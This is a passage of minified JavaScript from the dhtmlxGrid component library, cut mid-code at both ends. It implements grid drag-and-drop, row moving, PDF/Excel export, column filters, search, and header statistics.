true}if(e.treeNod.isTreeGrid&&e.treeNod.isTreeGrid()){n.set(\"source\",\"treeGrid\")}n.set(\"sobj\",e.treeNod).set(\"sid\",n.sobj._dragged)}if(g.grid.isTreeGrid()){n.set(\"target\",\"treeGrid\")}else{n.set(\"dropmode\",\"sibling\")}n.set(\"tobj\",g.grid).set(\"tid\",g.idd);if(((n.tobj.dadmode==2)&&(n.tobj.dadmodec==1))&&(n.tobj.dadmodefix<0)){if(n.tobj.obj.rows[1].idd!=n.tid){n.tid=g.previousSibling.idd}else{n.tid=0}}var a=this.getFirstParentOfType(s,\"TD\");if(a){n.set(\"tExtra\",a._cellIndex)}if(a){n.set(\"sExtra\",n.sobj._dndExtra)}if(n.sobj.dpcpy){n.set(\"mode\",\"copy\")}if(n.tobj._realfake){n.tobj=n.tobj._fake}if(n.sobj._realfake){n.sobj=n.sobj._fake}n.tobj._clearMove();if(e&&e.treeNod&&e.treeNod._nonTrivialRow){e.treeNod._nonTrivialRow(this,n.tid,n.dropmode,e)}else{n.tobj.dragContext=n;if(!n.tobj.callEvent(\"onDrag\",[n.slist(),n.tid,n.sobj,n.tobj,n.sExtra,n.tExtra])){return n.tobj.dragContext=null}var u=new Array();if(typeof(n.sid)==\"object\"){var m=n.copy();for(var l=0;l<n.sid.length;l++){if(!m.set(\"alfa\",(!l)).set(\"sid\",n.sid[l][(n.source==\"tree\"?\"id\":\"idd\")]).valid()){continue}m.tobj._dragRoutine(m);if(m.target==\"treeGrid\"&&m.dropmode==\"child\"){m.tobj.openItem(m.tid)}u[u.length]=m.nid;m.set(\"dropmode\",\"sibling\").set(\"tid\",m.nid)}m.close()}else{n.tobj._dragRoutine(n)}if(n.tobj.laterLink){n.tobj.laterLink()}n.tobj.callEvent(\"onDrop\",[n.slist(),n.tid,u.join(\",\"),n.sobj,n.tobj,n.sExtra,n.tExtra])}n.tobj.dragContext=null;n.close()};dhtmlXGridObject.prototype._dragRoutine=function(r){if((r.sobj==r.tobj)&&(r.source==\"grid\")&&(r.mode==\"move\")&&!this._fake){if(r.sobj._dndProblematic){return}var o=r.sobj.rowsAr[r.sid];var q=r.sobj.rowsCol._dhx_find(o);r.sobj.rowsCol._dhx_removeAt(r.sobj.rowsCol._dhx_find(o));r.sobj.rowsBuffer._dhx_removeAt(r.sobj.rowsBuffer._dhx_find(o));r.sobj.rowsBuffer._dhx_insertAt(r.ind(),o);if(r.tobj._fake){r.tobj._fake.rowsCol._dhx_removeAt(q);var s=r.tobj._fake.rowsAr[r.sid];s.parentNode.removeChild(s)}r.sobj._insertRowAt(o,r.ind());r.nid=r.sid;r.sobj.callEvent(\"onGridReconstructed\",[]);return}var n;if(this._h2&&typeof r.tid!=\"undefined\"&&r.dropmode==\"sibling\"&&(this._sbmod||r.tid)){if(r.alfa&&this._sbmod&&this._h2.get[r.tid].childs.length){this.openItem(r.tid);n=r.uid().tobj.addRowBefore(r.nid,r.data(),this._h2.get[r.tid].childs[0].id,r.img(),r.childs())}else{n=r.uid().tobj.addRowAfter(r.nid,r.data(),r.tid,r.img(),r.childs())}}else{n=r.uid().tobj.addRow(r.nid,r.data(),r.ind(),r.pid(),r.img(),r.childs())}n._attrs=r.attrs();if(r.source==\"tree\"){this.callEvent(\"onRowAdded\",[r.nid]);var a=r.sobj._globalIdStorageFind(r.sid);if(a.childsCount){var m=r.copy().set(\"tid\",r.nid).set(\"dropmode\",r.target==\"grid\"?\"sibling\":\"child\");for(var g=0;g<a.childsCount;g++){r.tobj._dragRoutine(m.set(\"sid\",a.childNodes[g].id));if(r.mode==\"move\"){g--}}m.close()}}else{r.tobj._copyUserData(r);this.callEvent(\"onRowAdded\",[r.nid]);if((r.source==\"treeGrid\")){if(r.sobj==r.tobj){n._xml=r.sobj.rowsAr[r.sid]._xml}var h=r.sobj._h2.get[r.sid];if((h)&&(h.childs.length)){var m=r.copy().set(\"tid\",r.nid);if(r.target==\"grid\"){m.set(\"dropmode\",\"sibling\")}else{if(!m.tobj.kidsXmlFile){m.tobj.openItem(r.tid)}m.set(\"dropmode\",\"child\")}var e=h.childs.length;if(!m.tobj.kidsXmlFile){for(var g=0;g<e;g++){r.sobj.render_row_tree(null,h.childs[g].id);r.tobj._dragRoutine(m.set(\"sid\",h.childs[g].id));if(e!=h.childs.length){g--;e=h.childs.length}}}m.close()}}}if(r.mode==\"move\"){r.sobj[(r.source==\"tree\")?\"deleteItem\":\"deleteRow\"](r.sid);if((r.sobj==r.tobj)&&(!r.tobj.rowsAr[r.sid])){r.tobj.changeRowId(r.nid,r.sid);r.nid=r.sid}}};dhtmlXGridObject.prototype.gridToGrid=function(g,a,e){var h=new Array();for(var c=0;c<a.hdr.rows[0].cells.length;c++){h[c]=a.cells(g,c).getValue()}return h};dhtmlXGridObject.prototype.checkParentLine=function(a,c){if((!this._h2)||(!c)||(!a)){return false}if(a.id==c){return true}else{return this.checkParentLine(a.parent,c)}};dhtmlXGridObject.prototype._dragIn=function(l,g,c,m){if(!this.dADTempOff){return 0}var a=this.isTreeGrid();var h=g.parentNode.idd?g.parentNode:g.parentObject;if(this._drag_validate){if(l.parentNode==g.parentNode){return 0}if((a)&&(this==h.grid)&&((this.checkParentLine(this._h2.get[l.parentNode.idd],g.parentNode.idd)))){return 0}}if(!this.callEvent(\"onDragIn\",[h.idd||h.id,l.parentNode.idd,h.grid||h.treeNod,(l.grid||l.parentNode.grid)])){return this._setMove(l,c,m,true)}this._setMove(l,c,m);if((a)&&(l.parentNode.expand!=\"\")){var e=this;this._autoOpenTimer=window.setTimeout(function(){e._autoOpenItem(null,e);e=null},1000);this._autoOpenId=l.parentNode.idd}else{if(this._autoOpenTimer){window.clearTimeout(this._autoOpenTimer)}}return l};dhtmlXGridObject.prototype._autoOpenItem=function(a,c){c.openItem(c._autoOpenId)};dhtmlXGridObject.prototype._dragOut=function(c){this._clearMove();var a=c.parentNode.parentObject?c.parentObject.id:c.parentNode.idd;this.callEvent(\"onDragOut\",[a]);if(this._autoOpenTimer){window.clearTimeout(this._autoOpenTimer)}};dhtmlXGridObject.prototype._setMove=function(l,c,n,h){if(!l.parentNode.idd){return}var e=dhx4.absTop(l);var a=dhx4.absTop(this.objBox);if((e-a)>(parseInt(this.objBox.offsetHeight)-50)){this.objBox.scrollTop=parseInt(this.objBox.scrollTop)+20}if((e-a+parseInt(this.objBox.scrollTop))<(parseInt(this.objBox.scrollTop)+30)){this.objBox.scrollTop=parseInt(this.objBox.scrollTop)-20}if(h){return 0}if(this.dadmode==2){var m=n-e+(document.body.scrollTop||document.documentElement.scrollTop)-2-l.offsetHeight/2;if((Math.abs(m)-l.offsetHeight/6)>0){this.dadmodec=1;if(m<0){this.dadmodefix=-1}else{this.dadmodefix=1}}else{this.dadmodec=0}}else{this.dadmodec=this.dadmode}if(this.dadmodec){if(!this._sdrgc){this._createSdrgc()}this._sdrgc.style.display=\"block\";this._sdrgc.style.top=e-a+parseInt(this.objBox.scrollTop)+((this.dadmodefix>=0)?l.offsetHeight:0)+\"px\"}else{this._llSelD=l;if(l.parentNode.tagName==\"TR\"){for(var g=0;g<l.parentNode.childNodes.length;g++){var m=l.parentNode.childNodes[g];m._bgCol=m.style.backgroundColor;m.style.backgroundColor=\"#FFCCCC\"}}}};dhtmlXGridObject.prototype._clearMove=function(){if(this._sdrgc){this._sdrgc.style.display=\"none\"}if((this._llSelD)&&(this._llSelD.parentNode.tagName==\"TR\")){var c=this._llSelD.parentNode.childNodes;for(var a=0;a<c.length;a++){c[a].style.backgroundColor=c[a]._bgCol}}this._llSelD=null};dhtmlXGridObject.prototype.rowToDragElement=function(a){var c=this.cells(a,0).getValue();return c};dhtmlXGridObject.prototype._copyUserData=function(g){if(!g.tobj.UserData[g.nid]||g.tobj!=g.sobj){g.tobj.UserData[g.nid]=new Hashtable()}else{return}var e=g.sobj.UserData[g.sid];var a=g.tobj.UserData[g.nid];if(e){a.keys=a.keys.concat(e.keys);a.values=a.values.concat(e.values)}};dhtmlXGridObject.prototype.moveRow=function(e,g,a,c){switch(g){case\"row_sibling\":this.moveRowTo(e,a,\"move\",\"sibling\",this,c);break;case\"up\":this.moveRowUp(e);break;case\"down\":this.moveRowDown(e);break}};dhtmlXGridObject.prototype._nonTrivialNode=function(r,q,m,n,e){if((r.callEvent)&&(!e)){if(!r.callEvent(\"onDrag\",[n.idd,q.id,(m?m.id:null),this,r])){return false}}var o=n.idd;var a=o;while(r._idpull[a]){a+=(new Date()).getMilliseconds().toString()}var h=(this.isTreeGrid()?this.getItemImage(o):\"\");if(m){for(g=0;g<q.childsCount;g++){if(q.childNodes[g]==m){break}}if(g!=0){m=q.childNodes[g-1]}else{st=\"TOP\";m=\"\"}}var c=r._attachChildNode(q,a,this.gridToTreeElement(r,a,o),\"\",h,h,h,\"\",\"\",m);if(this._h2){var l=this._h2.get[o];if(l.childs.length){for(var g=0;g<l.childs.length;g++){this._nonTrivialNode(r,c,0,this.rowsAr[l.childs[g].id],1);if(!this.dpcpy){g--}}}}if(!this.dpcpy){this.deleteRow(o)}if((r.callEvent)&&(!e)){r.callEvent(\"onDrop\",[a,q.id,(m?m.id:null),this,r])}};dhtmlXGridObject.prototype.gridToTreeElement=function(c,e,a){return this.cells(a,0).getValue()};dhtmlXGridObject.prototype.treeToGridElement=function(g,h,a){var c=new Array();var l=this.cellType._dhx_find(\"tree\");if(l==-1){l=0}for(var e=0;e<this.getColumnCount();e++){c[c.length]=(e!=l)?(g.getUserData(h,this.getColumnId(e))||\"\"):g.getItemText(h)}return c};dhtmlXGridObject.prototype.moveRowTo=function(g,e,m,l,a,h){var n=new dragContext((a||this).isTreeGrid()?\"treeGrid\":\"grid\",(h||this).isTreeGrid()?\"treeGrid\":\"grid\",m,l||\"sibling\",g,e,a||this,h||this);n.tobj._dragRoutine(n);n.close();return n.nid};dhtmlXGridObject.prototype.enableMercyDrag=function(a){this.dpcpy=dhx4.s2b(a)};dhtmlXGridObject.prototype.toPDF=function(g,q,v,s,n,A){var h={row:this.getSelectedRowId(),col:this.getSelectedCellIndex()};if(h.row===null||h.col===-1){h=false}else{if(h.row&&h.row.indexOf(this.delim)!==-1){var c=this.cells(h.row,h.col).cell;c.parentNode.className=c.parentNode.className.replace(\" rowselected\",\"\");c.className=c.className.replace(\" cellselected\",\"\");h.el=c}else{h=false}}q=q||\"color\";var w=q==\"full_color\";var a=this;a._asCDATA=true;if(typeof(A)===\"undefined\"){this.target=' target=\"_blank\"'}else{this.target=A}eXcell_ch.prototype.getContent=function(){return this.getValue()};eXcell_ra.prototype.getContent=function(){return this.getValue()};function y(E){var L=[];for(var J=1;J<a.hdr.rows.length;J++){L[J]=[];for(var I=0;I<a._cCount;I++){var N=a.hdr.rows[J].childNodes[I];if(!L[J][I]){L[J][I]=[0,0]}if(N){L[J][N._cellIndexS]=[N.colSpan,N.rowSpan]}}}var K=\"<rows profile='\"+E+\"'\";if(v){K+=\" header='\"+v+\"'\"}if(s){K+=\" footer='\"+s+\"'\"}K+=\"><head>\"+a._serialiseExportConfig(L).replace(/^<head/,\"<columns\").replace(/head>$/,\"columns>\");for(var J=2;J<a.hdr.rows.length;J++){var C=0;var Q=a.hdr.rows[J];var M=\"\";for(var I=0;I<a._cCount;I++){if((a._srClmn&&!a._srClmn[I])||(a._hrrar[I]&&(!a._fake||I>=a._fake.hdrLabels.length))){C++;continue}var P=L[J][I];var O=((P[0]&&P[0]>1)?' colspan=\"'+P[0]+'\" ':\"\");if(P[1]&&P[1]>1){O+=' rowspan=\"'+P[1]+'\" ';C=-1}var D=\"\";var H=Q;if(a._fake&&I<a._fake._cCount){H=a._fake.hdr.rows[J]}for(var F=0;F<H.cells.length;F++){if(H.cells[F]._cellIndexS==I){if(H.cells[F].getElementsByTagName(\"SELECT\").length){D=\"\"}else{D=_isIE?H.cells[F].innerText:H.cells[F].textContent}D=D.replace(/[ \\n\\r\\t\\xA0]+/,\" \");break}}if(!D||D==\" \"){C++}M+=\"<column\"+O+\"><![CDATA[\"+D+\"]]></column>\"}if(C!=a._cCount){K+=\"\\n<columns>\"+M+\"</columns>\"}}K+=\"</head>\\n\";K+=o();return K}function e(){var C=[];if(n){for(var D=0;D<n.length;D++){C.push(u(a.getRowIndex(n[D])))}}else{for(var D=0;D<a.getRowsNum();D++){C.push(u(D))}}return C.join(\"\\n\")}function o(){var E=[\"<foot>\"];if(!a.ftr){return\"\"}for(var F=1;F<a.ftr.rows.length;F++){E.push(\"<columns>\");var J=a.ftr.rows[F];for(var D=0;D<a._cCount;D++){if(a._srClmn&&!a._srClmn[D]){continue}if(a._hrrar[D]&&(!a._fake||D>=a._fake.hdrLabels.length)){continue}for(var C=0;C<J.cells.length;C++){var I=\"\";var H=\"\";if(J.cells[C]._cellIndexS==D){I=_isIE?J.cells[C].innerText:J.cells[C].textContent;I=I.replace(/[ \\n\\r\\t\\xA0]+/,\" \");if(J.cells[C].colSpan&&J.cells[C].colSpan!=1){H=\" colspan='\"+J.cells[C].colSpan+\"' \"}if(J.cells[C].rowSpan&&J.cells[C].rowSpan!=1){H=\" rowspan='\"+J.cells[C].rowSpan+\"' \"}break}}E.push(\"<column\"+H+\"><![CDATA[\"+I+\"]]></column>\")}E.push(\"</columns>\")}E.push(\"</foot>\");return E.join(\"\\n\")}function m(D,C){return(window.getComputedStyle?(window.getComputedStyle(D,null)[C]):(D.currentStyle?D.currentStyle[C]:null))||\"\"}function u(F){if(!a.rowsBuffer[F]){return\"\"}var C=a.render_row(F);if(C.style.display==\"none\"){return\"\"}var D=a.isTreeGrid()?' level=\"'+a.getLevel(C.idd)+'\"':\"\";var K=\"<row\"+D+\">\";for(var I=0;I<a._cCount;I++){if(((!a._srClmn)||(a._srClmn[I]))&&(!a._hrrar[I]||(a._fake&&I<a._fake.hdrLabels.length))){var O=a.cells(C.idd,I);if(w){var H=m(O.cell,\"color\");var N=m(O.cell,\"backgroundColor\");var M=m(O.cell,\"font-weight\")||m(O.cell,\"fontWeight\");var J=m(O.cell,\"font-style\")||m(O.cell,\"fontStyle\");var L=m(O.cell,\"text-align\")||m(O.cell,\"textAlign\");var E=m(O.cell,\"font-family\")||m(O.cell,\"fontFamily\");if(N==\"transparent\"||N==\"rgba(0, 0, 0, 0)\"){N=\"rgb(255,255,255)\"}K+=\"<cell bgColor='\"+N+\"' textColor='\"+H+\"' bold='\"+M+\"' italic='\"+J+\"' align='\"+L+\"' font='\"+E+\"'>\"}else{K+=\"<cell>\"}K+=\"<![CDATA[\"+(O.getContent?O.getContent():O.getTitle())+\"]]></cell>\"}}return K+\"</row>\"}function r(){var C=\"</rows>\";return C}var x=document.createElement(\"div\");x.style.display=\"none\";document.body.appendChild(x);var l=\"form_\"+a.uid();x.innerHTML='<form id=\"'+l+'\" method=\"post\" action=\"'+g+'\" accept-charset=\"utf-8\"  enctype=\"application/x-www-form-urlencoded\"'+this.target+'><input type=\"hidden\" name=\"grid_xml\" id=\"grid_xml\"/> </form>';document.getElementById(l).firstChild.value=encodeURIComponent(y(q).replace(\"\\u2013\",\"-\")+e()+r());document.getElementById(l).submit();x.parentNode.removeChild(x);a=null;if(h){h.el.parentNode.className+=\" rowselected\";h.el.className+=\" cellselected\"}h=null};dhtmlXGridObject.prototype._serialiseExportConfig=function(l){function h(q){if(typeof(q)!==\"string\"){return q}q=q.replace(/&/g,\"&amp;\");q=q.replace(/\"/g,\"&quot;\");q=q.replace(/'/g,\"&apos;\");q=q.replace(/</g,\"&lt;\");q=q.replace(/>/g,\"&gt;\");return q}var c=\"<head>\";for(var e=0;e<this.hdr.rows[0].cells.length;e++){if(this._srClmn&&!this._srClmn[e]){continue}if(this._hrrar[e]&&(!this._fake||e>=this._fake.hdrLabels.length)){continue}var g=this.fldSort[e];if(g==\"cus\"){g=this._customSorts[e].toString();g=g.replace(/function[\\ ]*/,\"\").replace(/\\([^\\f]*/,\"\")}var o=l[1][e];var m=((o[1]&&o[1]>1)?' rowspan=\"'+o[1]+'\" ':\"\")+((o[0]&&o[0]>1)?' colspan=\"'+o[0]+'\" ':\"\");c+=\"<column \"+m+\" width='\"+this.getColWidth(e)+\"' align='\"+this.cellAlign[e]+\"' type='\"+this.cellType[e]+\"' hidden='\"+((this.isColumnHidden&&this.isColumnHidden(e))?\"true\":\"false\")+\"' sort='\"+(g||\"na\")+\"' color='\"+(this.columnColor[e]||\"\")+\"'\"+(this.columnIds[e]?(\" id='\"+this.columnIds[e]+\"'\"):\"\")+\">\";if(this._asCDATA){c+=\"<![CDATA[\"+this.getColumnLabel(e)+\"]]>\"}else{c+=this.getColumnLabel(e)}var n=this.combos[e]?this.getCombo(e):null;if(n){for(var a=0;a<n.keys.length;a++){c+=\"<option value='\"+h(n.keys[a])+\"'><![CDATA[\"+n.values[a]+\"]]></option>\"}}c+=\"</column>\"}return c+=\"</head>\"};if(window.eXcell_sub_row_grid){window.eXcell_sub_row_grid.prototype.getContent=function(){return\"\"}}dhtmlXGridObject.prototype.toExcel=function(a,g,m,l,c){if(!document.getElementById(\"ifr\")){var h=document.createElement(\"iframe\");h.style.display=\"none\";h.setAttribute(\"name\",\"dhx_export_iframe\");h.setAttribute(\"src\",\"\");h.setAttribute(\"id\",\"dhx_export_iframe\");document.body.appendChild(h)}var e=' target=\"dhx_export_iframe\"';this.toPDF(a,g,m,l,c,e)};dhtmlXGridObject.prototype.filterBy=function(e,g,c){if(this.isTreeGrid()){return this.filterTreeBy(e,g,c)}if(this._f_rowsBuffer){if(!c){this.rowsBuffer=dhtmlxArray([].concat(this._f_rowsBuffer));if(this._fake){this._fake.rowsBuffer=this.rowsBuffer}}}else{this._f_rowsBuffer=[].concat(this.rowsBuffer)}if(!this.rowsBuffer.length){return}var h=true;this.dma(true);if(typeof(e)==\"object\"){for(var a=0;a<g.length;a++){this._filterA(e[a],g[a])}}else{this._filterA(e,g)}this.dma(false);if(this.pagingOn&&this.rowsBuffer.length/this.rowsBufferOutSize<(this.currentPage-1)){this.changePage(0)}this._reset_view();this.callEvent(\"onGridReconstructed\",[])};dhtmlXGridObject.prototype._filterA=function(c,e){if(e==\"\"){return}var g=true;if(typeof(e)==\"function\"){g=false}else{e=(e||\"\").toString().toLowerCase()}if(!this.rowsBuffer.length){return}for(var a=this.rowsBuffer.length-1;a>=0;a--){if(g?(this._get_cell_value(this.rowsBuffer[a],c).toString().toLowerCase().indexOf(e)==-1):(!e.call(this,this._get_cell_value(this.rowsBuffer[a],c),this.rowsBuffer[a].idd))){this.rowsBuffer.splice(a,1)}}};dhtmlXGridObject.prototype.getFilterElement=function(a){if(!this.filters){return}for(var c=0;c<this.filters.length;c++){if(this.filters[c][1]==a){return(this.filters[c][0].combo||this.filters[c][0])}}return null};dhtmlXGridObject.prototype.collectValues=function(g){var s=this.dhxevs.data.oncollectvalues;if(s){var q=true;for(var r in s){var u=s[r].call(this,g);if(u!==true){q=u||q}}if(q!==true){return q}}if(this.isTreeGrid()){return this.collectTreeValues(g)}this.dma(true);this._build_m_order();g=this._m_order?this._m_order[g]:g;var n={};var l=[];var e=this._f_rowsBuffer||this.rowsBuffer;for(var h=0;h<e.length;h++){var a=this._get_cell_value(e[h],g);if(a&&(!e[h]._childIndexes||e[h]._childIndexes[g]!=e[h]._childIndexes[g-1])){n[a]=true}}this.dma(false);var o=(this.combos[g]||(this._col_combos?this._col_combos[g]:false));for(var m in n){if(n[m]===true){if(o){if(o.get&&o.get(m)){m=o.get(m)}else{if(o.getOption&&o.getOption(m)){m=o.getOption(m).text}}}l.push(m)}}return l.sort()};dhtmlXGridObject.prototype._build_m_order=function(){if(this._c_order){this._m_order=[];for(var a=0;a<this._c_order.length;a++){this._m_order[this._c_order[a]]=a}}};dhtmlXGridObject.prototype.filterByAll=function(){var e=[];var c=[];this._build_m_order();for(var g=0;g<this.filters.length;g++){var l=this._m_order?this._m_order[this.filters[g][1]]:this.filters[g][1];if(l>=this._cCount){continue}c.push(l);var m=this.filters[g][0].old_value=this.filters[g][0].value;if(this.filters[g][0]._filter){m=this.filters[g][0]._filter()}var h;if(typeof m!=\"function\"&&(h=(this.combos[l]||(this._col_combos?this._col_combos[l]:false)))){if(h.values){l=h.values._dhx_find(m);m=(l==-1)?m:h.keys[l]}else{if(h.getOptionByLabel){m=(h.getOptionByLabel(m)?h.getOptionByLabel(m).value:m)}}}e.push(m)}if(!this.callEvent(\"onFilterStart\",[c,e])){return}this.filterBy(c,e);if(this._cssEven){this._fixAlterCss()}this.callEvent(\"onFilterEnd\",[this.filters]);if(this._f_rowsBuffer&&this.rowsBuffer.length==this._f_rowsBuffer.length){this._f_rowsBuffer=null}};dhtmlXGridObject.prototype.makeFilter=function(h,e,c){if(!this.filters){this.filters=[]}if(typeof(h)!=\"object\"){h=document.getElementById(h)}if(!h){return}var a=this;if(!h.style.width){h.style.width=\"90%\"}if(h.tagName==\"SELECT\"){this.filters.push([h,e]);this._loadSelectOptins(h,e);h.onchange=function(){a.filterByAll()};if(_isIE){h.style.marginTop=\"1px\"}this.attachEvent(\"onEditCell\",function(m,l,n){this._build_m_order();if(m==2&&this.filters&&(this._m_order?(n==this._m_order[e]):(n==e))){this._loadSelectOptins(h,e)}return true})}else{if(h.tagName==\"INPUT\"){this.filters.push([h,e]);h.old_value=h.value=\"\";h.onkeydown=function(){if(this._timer){window.clearTimeout(this._timer)}this._timer=window.setTimeout(function(){if(h.value!=h.old_value){a.filterByAll();h.old_value=h.value}},500)}}else{if(h.tagName==\"DIV\"){this.filters.push([h,e]);h.style.padding=\"0px\";h.style.margin=\"0px\";if(!window.dhx_globalImgPath){window.dhx_globalImgPath=this.imgURL}var g=new dhtmlXCombo(h,\"_filter\",\"90%\");g.filterSelfA=g.filterSelf;g.filterSelf=function(){if(this.getSelectedIndex()==0){this.setComboText(\"\")}this.filterSelfA.apply(this,arguments);this.optionsArr[0].hide(false)};g.enableFilteringMode(true);h.combo=g;h.value=\"\";this._loadComboOptins(h,e);g.attachEvent(\"onChange\",function(){h.value=g.getSelectedValue();if(h.value===null){h.value=\"\"}a.filterByAll()})}}}if(h.parentNode){h.parentNode.className+=\" filter\"}this._filters_ready()};dhtmlXGridObject.prototype.findCell=function(l,m,g,h){var h=h||(function(o,n){return n.toString().toLowerCase().indexOf(o)!=-1});if(h===true){h=function(o,n){return n.toString().toLowerCase()==o}}var e=new Array();l=l.toString().toLowerCase();if(typeof g!=\"number\"){g=g?1:0}if(!this.rowsBuffer.length){return e}for(var c=(m||0);c<this._cCount;c++){if(this._h2){this._h2.forEachChild(0,function(n){if(g&&e.length==g){return e}if(h(l,this._get_cell_value(n.buff,c))){e.push([n.id,c])}},this)}else{for(var a=0;a<this.rowsBuffer.length;a++){if(h(l,this._get_cell_value(this.rowsBuffer[a],c))){e.push([this.rowsBuffer[a].idd,c]);if(g&&e.length==g){return e}}}}if(typeof(m)!=\"undefined\"){return e}}return e};dhtmlXGridObject.prototype.makeSearch=function(g,e,a){if(typeof(g)!=\"object\"){g=document.getElementById(g)}if(!g){return}var c=this;if(g.tagName==\"INPUT\"){g.onkeypress=function(){if(this._timer){window.clearTimeout(this._timer)}this._timer=window.setTimeout(function(){if(g.value==\"\"){return}var h=c.findCell(g.value,e,true,a);if(h.length){if(c._h2){c.openItem(h[0][0])}c.selectCell(c.getRowIndex(h[0][0]),(e||0))}},500)}}if(g.parentNode){g.parentNode.className+=\" filter\"}};dhtmlXGridObject.prototype._loadSelectOptins=function(h,n){var a=this.collectValues(n);var e=h.value;h.innerHTML=\"\";h.options[0]=new Option(\"\",\"\");var m=this._filter_tr?this._filter_tr[n]:null;for(var g=0;g<a.length;g++){h.options[h.options.length]=new Option(m?m(a[g]):a[g],a[g])}h.value=e};dhtmlXGridObject.prototype.setSelectFilterLabel=function(c,a){if(!this._filter_tr){this._filter_tr=[]}this._filter_tr[c]=a};dhtmlXGridObject.prototype._loadComboOptins=function(g,m){if(!g.combo){return}var a=this.collectValues(m);g.combo.clearAll();var h=[[\"\",\"\"]];for(var e=0;e<a.length;e++){h.push([a[e],a[e]])}g.combo.addOption(h)};dhtmlXGridObject.prototype.refreshFilters=function(){if(!this.filters){return}for(var a=0;a<this.filters.length;a++){switch(this.filters[a][0].tagName.toLowerCase()){case\"input\":break;case\"select\":this._loadSelectOptins.apply(this,this.filters[a]);break;case\"div\":this._loadComboOptins.apply(this,this.filters[a]);break}}};dhtmlXGridObject.prototype._filters_ready=function(c,a){this.attachEvent(\"onXLE\",this.refreshFilters);this.attachEvent(\"onRowCreated\",function(h,g){if(this._f_rowsBuffer){for(var e=0;e<this._f_rowsBuffer.length;e++){if(this._f_rowsBuffer[e].idd==h){return this._f_rowsBuffer[e]=g}}}});this.attachEvent(\"onClearAll\",function(){this._f_rowsBuffer=null;if(!this.hdr.rows.length){this.filters=[]}});this.attachEvent(\"onSetSizes\",this._filters_resize_combo);this.attachEvent(\"onResize\",this._filters_resize_combo);this._filters_ready=function(){}};dhtmlXGridObject.prototype._filters_resize_combo=function(){if(!this.filters){return}for(var a=0;a<this.filters.length;a++){if(this.filters[a][0].combo!=null){this.filters[a][0].combo.setSize(Math.round(this.filters[a][0].offsetWidth*90/100))}}return true};dhtmlXGridObject.prototype._in_header_text_filter=function(c,a){c.innerHTML=\"<input type='text'>\";c.onclick=c.onmousedown=function(g){(g||event).cancelBubble=true;return true};c.onselectstart=function(){return(event.cancelBubble=true)};this.makeFilter(c.firstChild,a)};dhtmlXGridObject.prototype._in_header_text_filter_inc=function(c,a){c.innerHTML=\"<input type='text'>\";c.onclick=c.onmousedown=function(g){(g||event).cancelBubble=true;return true};c.onselectstart=function(){return(event.cancelBubble=true)};this.makeFilter(c.firstChild,a);c.firstChild._filter=function(){if(c.firstChild.value==\"\"){return\"\"}return function(e){return(e.toString().toLowerCase().indexOf(c.firstChild.value.toLowerCase())==0)}};this._filters_ready()};dhtmlXGridObject.prototype._in_header_select_filter=function(c,a){c.innerHTML=\"<select></select>\";c.onclick=function(g){(g||event).cancelBubble=true;return false};this.makeFilter(c.firstChild,a)};dhtmlXGridObject.prototype._in_header_select_filter_strict=function(e,c){e.innerHTML=\"<select style='width:90%; font-size:8pt; font-family:Tahoma;'></select>\";e.onclick=function(g){(g||event).cancelBubble=true;return false};this.makeFilter(e.firstChild,c);var a=this.combos;e.firstChild._filter=function(){var g=e.firstChild.value;if(!g){return\"\"}if(a[c]){g=a[c].keys[a[c].values._dhx_find(g)]}g=g.toLowerCase();return function(h){return(h.toString().toLowerCase()==g)}};this._filters_ready()};dhtmlXGridObject.prototype._in_header_combo_filter=function(c,a){c.innerHTML=\"<div style='width:100%; padding-left:2px; overflow:hidden; ' class='combo'></div>\";c.onselectstart=function(){return(event.cancelBubble=true)};c.onclick=c.onmousedown=function(g){(g||event).cancelBubble=true;return true};this.makeFilter(c.firstChild,a)};dhtmlXGridObject.prototype._search_common=function(c,a){c.innerHTML=\"<input type='text' style='width:90%; '>\";c.onclick=c.onmousedown=function(g){(g||event).cancelBubble=true;return true};c.onselectstart=function(){return(event.cancelBubble=true)}};dhtmlXGridObject.prototype._in_header_text_search=function(e,c,a){this._search_common(e,c);this.makeSearch(e.firstChild,c)};dhtmlXGridObject.prototype._in_header_text_search_strict=function(c,a){this._search_common(c,a);this.makeSearch(c.firstChild,a,true)};dhtmlXGridObject.prototype._in_header_numeric_filter=function(c,a){this._in_header_text_filter.call(this,c,a);c.firstChild._filter=function(){var e=this.value;var h;var m=\"==\";var g=parseFloat(e.replace(\"=\",\"\"));var l=null;if(e){if(e.indexOf(\"..\")!=-1){e=e.split(\"..\");g=parseFloat(e[0]);l=parseFloat(e[1]);return function(n){if(n>=g&&n<=l){return true}return false}}h=e.match(/>=|<=|>|</);if(h){m=h[0];g=parseFloat(e.replace(m,\"\"))}return Function(\"v\",\" if (v \"+m+\" \"+g+\" ) return true; return false;\")}return\"\"}};dhtmlXGridObject.prototype._in_header_master_checkbox=function(g,e,h){g.innerHTML=h[0]+\"<input type='checkbox' />\"+h[1];var a=this;g.getElementsByTagName(\"input\")[0].onclick=function(l){a._build_m_order();var c=a._m_order?a._m_order[e]:e;var m=this.checked?1:0;a.forEachRowA(function(o){var n=this.cells(o,c);if(n.isCheckbox()){n.setValue(m);n.cell.wasChanged=true}this.callEvent(\"onEditCell\",[1,o,c,m]);this.callEvent(\"onCheckbox\",[o,c,m])});(l||event).cancelBubble=true}};dhtmlXGridObject.prototype._in_header_stat_total=function(e,a,h){var g=function(){var n=0;this._build_m_order();var m=this._m_order?this._m_order[a]:a;for(var l=0;l<this.rowsBuffer.length;l++){var c=parseFloat(this._get_cell_value(this.rowsBuffer[l],m));n+=isNaN(c)?0:c}return this._maskArr[m]?this._aplNF(n,m):(Math.round(n*100)/100)};this._stat_in_header(e,g,a,h,h)};dhtmlXGridObject.prototype._in_header_stat_multi_total=function(h,g,o){var n=o[1].split(\":\");o[1]=\"\";for(var e=0;e<n.length;e++){n[e]=parseInt(n[e])}var l=function(){var s=0;for(var r=0;r<this.rowsBuffer.length;r++){var q=1;for(var c=0;c<n.length;c++){q*=parseFloat(this._get_cell_value(this.rowsBuffer[r],n[c]))}s+=isNaN(q)?0:q}return this._maskArr[g]?this._aplNF(s,g):(Math.round(s*100)/100)};var a=[];for(var m=0;m<n.length;m++){a[n[m]]=true}this._stat_in_header(h,l,a,o,o)};dhtmlXGridObject.prototype._in_header_stat_max=function(e,a,h){var g=function(){this._build_m_order();var l=this._m_order?this._m_order[a]:a;var m=-999999999;if(this.getRowsNum()==0){return\"&nbsp;\"}for(var c=0;c<this.rowsBuffer.length;c++){m=Math.max(m,parseFloat(this._get_cell_value(this.rowsBuffer[c],l)))}return 